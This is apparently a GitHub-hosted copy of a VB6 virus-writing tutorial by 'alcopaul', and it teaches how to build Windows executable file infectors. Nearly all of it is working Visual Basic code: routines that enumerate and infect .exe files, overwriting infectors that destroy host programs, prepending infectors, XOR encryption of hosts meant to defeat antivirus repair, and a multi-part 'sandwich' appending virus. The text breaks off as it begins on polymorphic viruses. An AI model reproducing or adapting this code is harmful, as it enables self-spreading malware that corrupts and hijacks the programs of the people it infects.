-
Notifications
You must be signed in to change notification settings - Fork 3
/
alcovbviruswritingguidev1.0.txt
1272 lines (1005 loc) · 38.6 KB
/
alcovbviruswritingguidev1.0.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
=============================================================================================================================
=============================================================================================================================
================================ alcopaul's visual basic virus writing guide v1.0 ===========================================
=============================================================================================================================
=============================================================================================================================
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\
I - introduction \\
\\\\\\\\\\\\\\\\\\\\
damn to time-and-bytes-consuming-long introductions... VB is RAD so boys and girls, LET'S GET IT ON!
\\\\\\\\\\\\\\\\\\\\
II - preliminaries \\
\\\\\\\\\\\\\\\\\\\\\\
before going to the nitty gritties of vb file infection, we should tackle first the preliminary concepts...
*************************
a) getting started ******
*************************
before starting to write a virus in visual basic, you should first know how to "speak" the visual basic language..
this means that you should know the proper syntaxing, the relation of the commands, the way of manipulating variables
using the built in vb commands, etc...
if you have microsoft office fully installed, then you'll surely have no problem of finding a visual basic resource
and reference.. open windows explorer and search for VBLR6.chm... it contains the visual basic language reference...
if win32asm has win32.hlp then visual basic has vblr6.chm...
having a vb programming book is also helpful so you won't undergo the trial and error of testing functions against
variables and combining functions to make a program... and also study viral and non viral vb sources coz this will
surely help...
before making it to the top, you must start first in scratch..
before i forget, you must also have Microsoft VB6 compiler...
***************************
b) resolving virus path ***
***************************
your first task is to resolve the path of the virus... why? so your virus can do its dirty work whether it's
contained in any directory or the root directory....
----------------------------------------
code II.a
----------------------------------------
dim virpath as string
virpath = app.path
if right(virpath, 1) <> "\" then virpath = virpath & "\"
'set virpath to (root):\
'examine if path is a directory or subdirectory
'if yeah, resolve directory path by adding "\"
----------------------------------------
*******************************
c) avoiding identity crisis ***
*******************************
we'll treat exe, scr, com, pif files as the same... why? try renaming your notepad.exe to notepad.scr and execute it.
notepad window will appear... renaming notepad.exe to .com or .pif and executing it will have the same effect.
the notepad window will still appear...
you must first establish the identity of your virus... if you want to target exe files, you should make your virus
treat itself as a ".exe" file...
when a virus that treats itself as an exe file infects a .scr file, executing the infected .scr won't pass the control
to the ".exe" virus... the virus assumes the file type of its host... so a ".exe" virus in a ".scr" host will treat
itself as a ".scr"... so a ".exe" virus executed as a ".scr" will produce an error... in other words, your virus will have
a problem with its identity...
----------------------------------------
code II.b
----------------------------------------
dim virbyte1 as string
dim virpath as string
virpath = app.path
if right(virpath, 1) <> "\" then virpath = virpath & "\"
Open virpath & App.EXEName & ".exe" For Binary Access Read As #2
virbyte1 = Space(number of bytes)
Get #2, , virbyte1
Close #2
'setting the virus identity
----------------------------------------
********************************************************************************************************
d) identifying if the file is infected then a choice of infecting all files at once or one at a time ***
********************************************************************************************************
after establishing the identity of your virus, the next task is to do is to identify the target files... rule : virus
will infect file types of its kind... ".exe" virus infects ".exe" files.. ".com" virus infects ".com" files.... ".scr"
virus infects ".scr" files ... ".pif" virus infects ".pif" files...
after the virus identifies the target files, check if the host is infected so it won't be infecting the same files
again and again... a virus must not infect an infected file... an real world example : if you're infected with AIDS,
then you'll NOT be reinfected by AIDS...
---------------------------------------
code II.c.i
---------------------------------------
dim hlen as string
dim vsig as string
dim virpath as string
dim host as string
virpath = app.path
if right(virpath, 1) <> "\" then virpath = virpath & "\"
Open virpath & host For Binary Access Read As #1
hlen = (LOF(1))
vsig = Space(hlen)
Get #1, , vsig
Close #1
marker = Right(vsig, 9)
if marker = "signature" then
'search for more
else
'infect
---------------------------------------
why did i put 9 in marker = Right(vsig, 9)? coz the length of marker is 9... s-i-g-n-a-t-u-r-e = 9
if the host is infected then search for more...
if the host is clean, your next task is to infect it... you can make your virus infect all files
at once or infect one file per run... for now, we'll only concern on virus infecting files in its own directory...
----------------------------------------
code II.c.ii (infect all at once)
----------------------------------------
dim virpath as string
dim enumhosts as string
dim a as string
dim hosts, eachhost
dim hlen as string
dim vsig as string
dim marker as string
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
enumhosts = Dir$(virpath & "*.exe")
While enumhosts <> ""
a = a & enumhosts & "/"
enumhosts = Dir$
Wend
hosts = Split(a, "/")
For Each eachhost In hosts
Open virpath & eachhost For Binary Access Read As #1
hlen = (LOF(1))
vsig = Space(hlen)
Get #1, , vsig
Close #1
marker = Right(vsig, 9)
if marker = "signature" then
'---------------
GoTo notinfected
Else
GoTo infected
End If
notinfected:
'infect eachhost
infected:
Next eachhost
'---------------
-----------------------------------------
<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>
----------------------------------------
code II.c.iii (infect one file per run)
----------------------------------------
dim virpath as string
dim enumhosts as string
dim a as string
dim hosts, eachhost
dim hlen as string
dim vsig as string
dim marker as string
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
enumhosts = Dir$(virpath & "*.exe")
While enumhosts <> ""
a = a & enumhosts & "/"
enumhosts = Dir$
Wend
hosts = Split(a, "/")
For Each eachhost In hosts
Open virpath & eachhost For Binary Access Read As #1
hlen = (LOF(1))
vsig = Space(hlen)
Get #1, , vsig
Close #1
marker = Right(vsig, 9)
if marker = "signature" then
'----------------
GoTo notinfected
Else
GoTo infected
End If
notinfected:
'infect eachhost
Exit For '!!!
infected:
Next eachhost
'----------------
-----------------------------------------
variable enumhosts will enumerate all the ".exe" files in the current directory with the virus.... it will store the
result in variable a... for example, the virus is in c:\ in which notepad.exe, calc.exe, explorer.exe etc are present...
when virus runs, variable a will contain,
--------------------------------------------
a = notepad.exe/calc.exe/explorer.exe/... etc..
--------------------------------------------
then we'll create an array of filenames from variable a using split function
then for each filename in the array, examine if the file is infected or not....
*** this routine makes the virus infect all the target files
<<< code II.c.ii >>>
'---------------
...
...
GoTo notinfected
Else
GoTo infected
End If
notinfected:
'infect eachhost
infected:
Next eachhost
'---------------
*** this routine infects one file per run...
<<< code II.c.iii >>>
'----------------
...
...
GoTo notinfected
Else
GoTo infected
End If
notinfected:
'infect eachhost
Exit For '!!! stop infecting others after infecting a file
infected:
Next eachhost
'----------------
****************************
e) regenerating the host ***
****************************
the only way we can regenerate the host from a virus/host file is to save the host's bits and bytes into a file, and let
the virus execute that file...
i only saw two ways of executing the spawned host file from the infected file... i'm lazy to research for more so i just
borrowed those routines from vb5 virus by murkry and lennon virus by the walrus...
--------------------------------------------
vb5 method
--------------------------------------------
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
'execute spawned host file
idProg = Shell("c:\hostfile.ext", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill "c:\hostfile.ext"
----------------------------------------------
----------------------------------------------
lennon method
----------------------------------------------
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal _
lpApplicationName As Long, ByVal lpCommandLine As String, ByVal _
lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _
lpStartupInfo As STARTUPINFO, lpProcessInformation As _
PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
Public Sub ExecCmd(cmdline$)
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
Dim ReturnValue As Integer
start.cb = Len(start)
ReturnValue = CreateProcessA(0&, cmdline$, 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
Do
ReturnValue = WaitForSingleObject(proc.hProcess, 0)
DoEvents
Loop Until ReturnValue <> 258
ReturnValue = CloseHandle(proc.hProcess)
End Sub
....
....
'execute the regenerated host
CommandArgument = Command()
ExecCmd "hostfile.ext" & " " & CommandArgument
Kill "hostfile.ext"
-------------------------------------------
we've seen two methods.... and with a little research you can make a new one...
if you're damn lazy like me, you must decide what to use from the previously laid routine... for now, we'll use the vb5
method, much shorter than the lennon method... if you wish to use the lennon method, then do so..
both have the same effects anyways....
**************************
f)the exact virus bytes **
**************************
you need the virus size to be able to carry on viral infection in visual basic...
first put dummy size in the virus size constant.. then compile your source and use upx to compress the executable output...
get the byte size of the compressed output and it will be the constant virus size that you'll put to your virus
code...
the smaller the virus, the better.... and that goes to a respected virus coder who likes his viruses small, Super...
******************************
g) the variables *************
******************************
it is recommended to use option explicit and to define the variables that you'll use... your virus may not
work properly if you don't define the variables that your virus will be using...
i.e.
Dim virusbytes as string
Dim blah as long
etc.
some functions such as binary access read and binary access write require their variables to be explicitly defined...
don't forget this...
\\\\\\\\\\\\\\\\\\\\\
III - virology 101 \\\
\\\\\\\\\\\\\\\\\\\\\\\
so we're done on the preliminaries... we took up,
*** getting started
*** resolving virus path
*** establishing the identity of the virus
*** preventing reinfection and infecting all files per run or one file per run
*** executing the hosts
*** exact virus constant
*** defining the variables
and there's more... we're on the meat of the article so brace yourselves, get your popcorn and read..
-------------------
overwriting viruses
-------------------
this is by far the easiest virus type to write.... an overwriting virus replaces its target files... it means that
the target file will have the same filesize, same bytes as the virus...
--------------- ----------------- -----------------
virus ------------> host ------------------> virus
--------------- targets ----------------- host will become -----------------
------------------------------
code III.a (overwrite)
------------------------------
'targets exe files
overwrite(virpath & eachhost)
function overwrite(host as string)
on error resume next
dim virbyte as string
dim sig as string
dim virpath as string
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
filecopy virpath & app.exename & ".exe", host
end function
-------------------------------
assuming we have attached "signature" to the end of the original virus file with copy /b, then the reinfection of
infected files shouldn't work.. :)
-----------------------
overwriting viruses II
-----------------------
if virus size is greater than the host, then the infected host will assume the size of the virus...
if the host size is greater than the virus, then infected host will still hold the original host size....
----------------- ---------------- -------------------
virus ---------------> host ------------> virus
----------------- targets -------------------
host
---------------- -------------------
------------------------------
code III.c (overwrite II)
------------------------------
'targets exe files
overwriteII(virpath & eachhost)
function overwriteII(host as string)
on error resume next
dim virbyte as string
dim sig as string
dim virpath as string
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
Open virpath & App.EXEName & ".exe" For Binary Access Read As #2
virbyte = Space(5632) <--- for example, virus length is 12345
Get #2, , virbyte
Close #2
sig = "signature"
'insert signature to prevent reinfection
Open host For Binary Access Write As #3
Put #3, , virbyte
Put #3, , sig
Close #3
end function
-------------------------------
to check for the signature in this type of infection (since our signature file won't be contained at the end of the
infected host file anymore), use the code below...
------------------------------------------------
Open virpath & host For Binary Access Read As #1
vsig = Space(5632 + 9) <----virus length + length of signature
Get #1, , vsig
'neglect the other bits and bytes
Close #1
marker = Right(vsig, 9)
if marker = "signature" then
'search for more
else
'infect
-------------------------------------------------
there's no way we can reconstruct the original host infected by an overwriting virus...
so vb boys and girls, overwriting viruses are dangerous coz they destroy..
---------------------------------------------------------
<<<<<<<<<<<<< prepending viruses >>>>>>>>>>>>>>>>>
---------------------------------------------------------
a prepending virus copies itself to the beginning of the host file and move the bits and bytes of the host file and
position it after the virus' bits and bytes.... two notable examples of this are the vb5 virus by murkry and
lennon virus by the walrus...
------------------ ---------------------- ------------------
virus --------------> host --------------> virus
------------------ ---------------------- ------------------
host
------------------
------------------------------
code III.c (prepend)
------------------------------
'targets exe files
prepend(virpath & eachhost)
function prepend(host as string)
on error resume next
dim hostbyte as string
dim virbyte as string
dim sig as string
dim virpath as string
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
Open host For Binary Access Read As #1
hostbyte = Space(LOF(1))
Get #1, , hostbyte
Close #1
Open virpath & App.EXEName & ".exe" For Binary Access Read As #2
virbyte = Space(5632) <-------- virus length ::: the virus constant from the compressed output, yo!
Get #2, , virbyte
Close #2
sig = "signature"
Open host For Binary Access Write As #3
Put #3, , virbyte
Put #3, , hostbyte
Put #3, , sig
Close #3
end function
-------------------------------
regenerating the host from infected files should be easy...
*** a prepending virus reconstructuring its host ######
if virus, prepended to a host, is executed, it reads the
virus bytes and the hostbytes + signature, writes the hostbytes + signature to a file, executes the regenerated host file
and deletes the regenerated file....
-------------------------------------
code III.c.i
-------------------------------------
using vb5 method
-------------------------------------
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
...
...
' executed in infected host
reghost(virpath & app.exename & ".exe")
Function reghost(goat As String)
On Error Resume Next
Dim hostbyte2 As String
Dim virbyte2 As String
Dim virpath As String
Dim dechost As String
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
Open goat For Binary Access Read As #1
virbyte2 = Space(5632) <------ virus length
hostbyte2 = Space(LOF(1) - 5632) <-------- host length :)
Get #1, , virbyte2
Get #1, , hostbyte2
Close #1
' write the host bytes into a file
open virpath & "host.exe" For Binary Access Write As #2
Put #2, , hostbyte2
Close #2
idProg = Shell(virpath & "host.exe", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill virpath & "host.exe"
End Function
-------------------------------------------
---------------------------------
prepending viruses with a twist
---------------------------------
the problem with prepending routine mentioned earlier is that avs can reconstruct the infected file... avs will just
remove the virus from its position and relocate the host file to the position previously occupied by the virus...
we want to give avs some headache, ayt? so we all agree... :)
what do we want to do with the host file? "ENCRYPT IT, ALCO!".. i heard you, hehehehe.. so we'll encrypt the host file
so "avs can do shit".. example of this is my virus VB.CHIMERA...
------------------ ---------------------- ------------------
virus --------------> host --------------> virus
------------------ ---------------------- ------------------
enchost
------------------
how do we do it? here's a code snippet that encrypts strings..
Function x(sText As String)
On Error Resume Next
Dim ekey As Long, i As Long
Dim hash As String, crbyte As String
ekey = 1234 <------- any number
For i = 1 To Len(sText)
hash = Asc(Mid(sText, i, 1))
crbyte = Chr(hash Xor (ekey Mod 255))
x = x & crbyte
Next i
End Function
------------------------------
code III.d (prepend with encryption)
------------------------------
'targets exe files
prepend(virpath & eachhost)
function prepend(host as string)
on error resume next
dim hostbyte as string
dim virbyte as string
dim sig as string
dim virpath as string
dim enchost as string
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
Open host For Binary Access Read As #1
hostbyte = Space(LOF(1))
Get #1, , hostbyte
Close #1
'encrypt host bytes
enchost = x(hostbyte)
Open virpath & App.EXEName & ".exe" For Binary Access Read As #2
virbyte = Space(5632) <-------- virus length ::: this can be any number
Get #2, , virbyte
Close #2
sig = "signature"
Open host For Binary Access Write As #3
Put #3, , virbyte
Put #3, , enchost
Put #3, , sig
Close #3
end function
.....
.....
' function x encrypts strings
Function x(sText As String)
On Error Resume Next
Dim ekey As Long, i As Long
Dim hash As String, crbyte As String
ekey = 1234
For i = 1 To Len(sText)
hash = Asc(Mid(sText, i, 1))
crbyte = Chr(hash Xor (ekey Mod 255))
x = x & crbyte
Next i
End Function
-------------------------------
so in an infected host file, the virus is in the beginning of the file and the host is encrypted in the end... to regenerate
the host, we can't do reading the encrypted host, putting the bytes into a file and executing it.... the original host won't
execute coz the output file is not a valid w32 applix.. it's still encrypted... so the solution to our problem is to
decrypt it....
assuming the virus is in it's encrypted host and we want to regenerate the host.... just pass the encrypted hostbytes
to the function x and it will decrypt the host on the fly...
-------------------------------------
code III.d.i
-------------------------------------
using vb5 method to reconstruct the host
-------------------------------------
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
...
...
' executed in infected host
reghost(virpath & app.exename & ".exe")
Function reghost(goat As String)
On Error Resume Next
Dim hostbyte2 As String
Dim virbyte2 As String
Dim virpath As String
Dim dechost As String
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
Open goat For Binary Access Read As #1
virbyte2 = Space(5632) <------ virus length
hostbyte2 = Space(LOF(1) - 5632) <-------- host length :)
Get #1, , virbyte2
Get #1, , hostbyte2
Close #1
'decrypt encrypted host
dechost = x(hostbyte2)
open virpath & "host.exe" For Binary Access Write As #2
Put #2, , dechost
Close #2
idProg = Shell(virpath & "host.exe", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill virpath & "host.exe"
End Function
.....
.....
' function x decrypts strings
Function x(sText As String)
On Error Resume Next
Dim ekey As Long, i As Long
Dim hash As String, crbyte As String
ekey = 1234
For i = 1 To Len(sText)
hash = Asc(Mid(sText, i, 1))
crbyte = Chr(hash Xor (ekey Mod 255))
x = x & crbyte
Next i
End Function
-----------------------------------
again, avs will have a difficult time reconstructing the host file.... expect them to say, "you should delete infected files
scanned as w32.blahblah virus..." nothing new... they always do that even if it's possible to reconstruct the host file....
avs are lazy....
\\\\\\\\\\\\\\\\\\\
IV - virology 102 \\
\\\\\\\\\\\\\\\\\\\\\
multicomponent vb virus in action!!! let's go, oi oi oi!
reminder : to merge the components, use copy /b in ms-dos prompt.. if you ain't familiar with the command, type copy/?
then press enter, :)..
-----------------------
appending viruses
-----------------------
i haven't seen an appending vb virus.... but i devised a way to make one....
from my previous article "Some New Ideas For Your Next VB Executable File Infector",
"....
======================================
appending vb viruses (sandwich method)
======================================
dim VIR as VB6 virus
dim HOST as Host
dim HD as VB6 component/pseudo-header
illustration 2.a
================= ================== ======================
HD HD
================= ======================
VIR ------------------> HOST ------------------>
HOST
================= ==================
======================
VIR
======================
illustration 2.b
================= ================== ======================
HD HD
================= ======================
HOST ------------------> HOST ------------------>
HOST
================= ==================
======================
VIR VIR
================= ======================
..."
when an infected host is executed, the header is first called.... what does the header do? the header reads itself first
then the virus code appended to the host, then writes the virusbytes and headerbytes into a file in this manner,
----------------
vir
----------------
hd
----------------
executes the vir/hd file thus continuing infection, reads the host bytes, writes the hostbytes in a file and executes the
host...
the intermediate virus file,
----------------
vir
----------------
hd
----------------
infects hosts in this manner..
it reads the vir bytes to a variable and the hd file in a variable, searches for a target
file, reads the hostbytes into a variable, prepends the header file to the host then copies the hostbytes to the host and
appends the virusbytes to the host....
here's a code snippet from my vb.sandwich virus
-------------------------
code IV.a (vir component)
-------------------------
....
....
Function virustime(hostpath As String)
On Error Resume Next
Dim ffile
Dim hostcode As String
Dim vir As String
Dim vircode As String
Dim header As String
vir = App.Path
If Right(vir, 1) <> "\" Then vir = vir & "\"
Open hostpath For Binary Access Read As #1
hostcode = Space(LOF(1))
Get #1, , hostcode
Close #1
' the intermediate virus file = vir/hd
Open vir & App.EXEName & ".exe" For Binary Access Read As #2
header = Space(LOF(2) - 5640) <------- header component (whole file minus virus bytes)
vircode = Space(5640) <---- virus code
Get #2, , vircode
Get #2, , header
Close #2
Open hostpath For Binary Access Write As #3
Put #3, , header
Put #3, , hostcode
Put #3, , vircode
Close #3
End Function
------------------------
----------------------------
code IV.b (header component)
----------------------------
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
....
....
Dim vdir As String
Dim hdlen As String
Dim hostlen As String
Dim virlen As String
Dim buffhdlen As String
Dim buffhostlen As String
Dim buffvirlen As String
vdir = App.Path
If Right(vdir, 1) <> "\" Then vdir = vdir & "\"
Open vdir & App.EXEName & ".exe" For Binary Access Read As #1
hdlen = (5632)
hostlen = (LOF(1) - 11272)
virlen = (5640)
buffhdlen = Space(hdlen)
buffhostlen = Space(hostlen)
buffvirlen = Space(virlen)
Get #1, , buffhdlen
Get #1, , buffhostlen
Get #1, , buffvirlen
Close #1
'buff hostlen will contain the host bytes...
....
....
Open vdir & "XxX.exe" For Binary Access Write As #3
Put #3, , buffhostlen
Close #3
'borrowed from murkry's vb5 virus
idProg = Shell(vdir & "XxX.exe", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill vdir & "XxX.exe"
---------------------------
so we have made an appending virus... i read symantec's desc of vb.sandwich and they said that the virus
prepends and appends itself to hosts...
we can make the header in win32asm thus optimizing the header and emulate a true appending virus... but i'm a visual
basic purist so i decided to make the header in vb eventhough the header size is nearly equal to the virus size....
it's still an appending virus coz the header is non-viral.... the virus is appended to the host file...
-------------------------
polymorphic viruses
-------------------------
we can't make a true polymorphic virus in vb... but we can make an improvised poly virus in vb...
this has been tested and proven to be possible via my vb viruses, vb.polly and vb.polly.b (encrypts hosts)
from my previous article "Some New Ideas For Your Next VB Executable File Infector",
"....
=======================================
polymorphic vb viruses (REALLY? YEAH!)
=======================================
dim VIR as VB6 virus
dim VIR1 as encrypted VB6 virus
dim VIR2 as another encrypted form VB6 virus
dim VIR(n) as another encrypted form VB6 virus